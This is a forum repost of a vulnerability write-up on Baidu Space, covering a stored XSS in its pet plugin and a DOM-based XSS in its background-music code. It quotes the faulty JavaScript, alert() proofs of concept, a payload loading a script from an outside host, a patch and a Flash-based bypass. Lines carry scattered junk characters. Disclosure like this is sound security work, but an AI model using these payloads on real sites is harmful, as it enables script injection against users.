找回密码
 立即注册
查看: 2904|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  8 x9 G# R; [4 J; c
0 @5 b1 ]/ E1 C- R
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  & d9 F: o" v; h: S, x- g  n
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
; V$ r2 c) W& S6 h& \$ [# T4 u, R% d6 E
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
7 j( ^; S: m% @+ U3 P1 u其中BdUtil.insertWBR为  - ~! K  o. c+ S0 a% V
function(text, step) {  
; G, q, E& `) j  b( {. R" ]    var textarea = textAreaCache || getContainer();  
  S3 s5 Q9 ]: \    if (!textarea) {  
! t7 ?) m8 k0 I8 s        return text;  ; w- E9 j, ~5 ?) _
    }  , v. y% y/ W+ A" H/ k
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
8 }5 e6 D: j5 @4 |8 e* ^    var string = textarea.value;  
# A- J; I. }- v4 p    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  ) F2 A  W# f! x5 l
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  
: \% W1 f9 ?4 S& Y; _! s. s    return result;  9 t. e2 N5 \  E1 L: b0 v
}  
* Y+ k% j2 c5 n, q在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  & L( j. A$ y0 O- z8 f8 q/ i
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
4 I* J) N! j( C5 [   / A+ ^, W5 Q/ p
二:creatbgmusic() Dom-Xss Bug  
$ q" H7 Z0 \2 O- y1 Q0 J百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  8 t, ?3 H5 B9 z  v, R9 p( J

/ u6 s  ~$ u6 F6 O& P: d9 @; V3 Mhttp://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
; D8 u( {; {$ Y) Q5 n4 x: [1 o1 S# B& j& N5 A
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
! c. B  T. x2 Z    //传入的murl赋值到bgmusic1和bgmusic2中  : M- c8 d6 Z! E9 M8 j
    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
8 I+ S* h( l- W+ G* r' D% ~    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
& u2 \" S: p4 [1 m# K/ B5 ~    if (musicnum <= 1) {  8 b- T9 l. Y. z8 ]' B
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
5 M- g5 G$ c; S6 A    }  
1 q5 t* B  T( Y' ~% X    bgmusic1 += "</OBJECT>";  9 T! q  l! [( ?1 D8 ~0 F5 F, Q
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  - E6 W, f/ q. Q$ p9 `/ A
    if (musicnum <= 1) {  , t; \1 {- a; |* C( h" m
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
/ j/ @* h5 u2 S- J0 m9 P1 u  `    }  
: a- m# N8 i4 {3 e# B5 W1 n    bgmusic2 += "> </EMBED>";  
' T/ H6 S  Z" ?- |& g- J% h6 R    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  8 Q; ]1 U) K# k% k) Z& l) V& P
    var bgmus = detectWMP();  
4 O$ x' g3 ~: E' y# Y/ @) `" I    if (functype == "FckMusicHelper") {  1 O( t! {" G! u0 j1 \
        if (bgmus.installed) {  
+ j9 M' J$ R0 a2 _; b+ C8 |            if (bgmus.type == "IE") {  9 a) L' S& [7 |& {
                return bgmusic1;  0 a) X/ w! U1 L, g1 o
            } else if (bgmus.type == "NS") {  % D, R, V8 T9 F
                return bgmusic2;  : \( G; g) w2 ~
            }  
7 V4 ?$ a. [- R0 ^! z7 {        } else {  
; j) w  w, }4 T5 v. @            return bgmusic3;  
& K% v5 X7 N9 D$ C        }  
( ~; `5 y9 f5 }6 R    } else {  
( }$ g, ?+ t0 v7 f        if (bgmus.installed) {  . M. f/ f% L7 w% Z" h
            //document.write 直接输出bgmusic变量 导致xss  
1 W6 w" c2 M+ M" x: [, Z4 \            if (bgmus.type == "IE") {  + \4 z$ Q2 T6 `
                document.write(bgmusic1);  
8 ?5 A5 G8 U0 F" i            } else if (bgmus.type == "NS") {  
0 s3 |7 w! F9 a% T$ h! n; s* r0 ]                document.write(bgmusic2);  2 l7 I4 p0 v- M* O
            }  
9 w1 V# {2 i4 C9 q+ A  ^        } else {  ! I: C) N* U7 d4 O
            document.write(bgmusic3);  
7 N5 I; g  H' {# _) ~        }  0 T& p8 K7 f0 O" p# N! Q9 G
        return "";  
2 _1 W) [6 o$ u/ Y- R% k: d/ R. r    }  
* }1 |6 B4 M* T9 ?- ?/ p, x. d}  ' P$ u# N$ j' E) [) s% {

: S* ~# ~7 Y5 D- |2 O7 t3 k在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  # c2 m+ Z6 }: q" w5 @, O/ l4 V/ l( g
' [1 J) H, X! Z0 v9 I2 z
function initBlogTextForFCK(){  
$ D% ?8 _' n2 R" h7 {- g+ t//fck init music  
9 J) f, p* V* s" \( |if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
/ ^% c2 x0 c. O8 q6 w7 W2 jvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组    }$ j' x) G& b, ~
var isAutoPlay=true;  : E) h5 B9 e9 E4 a; h* J; A5 C
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
" d1 a9 b2 A8 y9 Z  var img=imgBox;  % g$ c1 v0 S8 c. o+ F! u* P
  if(img.getAttribute(’rel’)){        
/ W4 F6 h" h/ O9 B) z" s   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  ; K/ F$ O3 A$ N3 o; B1 T: H
   var musicDiv = document.createElement("SPAN");  
- C, n6 |3 b6 E6 Z. x& O& M   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  9 ~+ T# p* E& n- \0 W: f
     
# `! a; ^* n) q, t% U1 ^0 g' J      ..........................  
' {- T9 ~# o: n; ?9 d7 ?; R     
4 \7 P7 m0 f, o, A7 X: x+ G+ n   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
( m( T1 R" f) T$ H2 g   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
1 c  j) x: k9 Z7 X7 b$ k# A  G1 K   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  0 d* E( C4 }5 [. \" `3 f; e5 a
   musicDiv.innerHTML=shtml;  
. n( X- `5 d4 m5 H8 }   i--;n--;  $ d+ v5 j# F4 F
  }  
0 X5 E) s6 F) M+ A}  & D* I1 O0 D, }3 c0 ~# [8 h! V
+ X/ g$ {( |8 N
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
& M* [1 n! {) f8 ?   / G7 ~2 @: m1 C
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  9 H( z$ ]" z" Y. v6 M

' g) N3 ^2 b8 l7 m( A等待官方补丁  
7 @  R6 U; U* N) C6 D$ i0 P1 g) n! ]2 _1 I  c
update 2010年5月13日   6 Y# l* q5 n& M& g
0 U# S5 R6 n& z
官方补丁:  
- C/ Z' u8 \( z
" [5 @" X( D+ o8 b$ Wvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  1 a* \( [6 `( w- G) Y
改为:  / n, m) b) w) L
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
' k, S' y$ Y+ q9 p3 e* P7 `6 @6 ]# y
update 2010年5月13日 21:50:37  ! M) @; K: {3 [1 \, N9 e$ R7 R

" J; n3 @' A# q7 C$ c3 _2 F" N补丁存在漏洞 没有过滤" 可以继续跨:  , ]) L& _' `; i, j5 u
4 g: S0 t. ~& W# H+ o( i7 I$ e$ E
NEW POC:  
3 G- z+ V) @8 _% G! v$ k3 n
4 q' \% e8 U0 I2 y7 J7 Y<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" & K, n' B' V6 \
. f" W% G) V3 [# H
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>( r1 B" J5 x7 \; V( o8 W; {

. l0 o. L% S: L4 v% b' H. Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表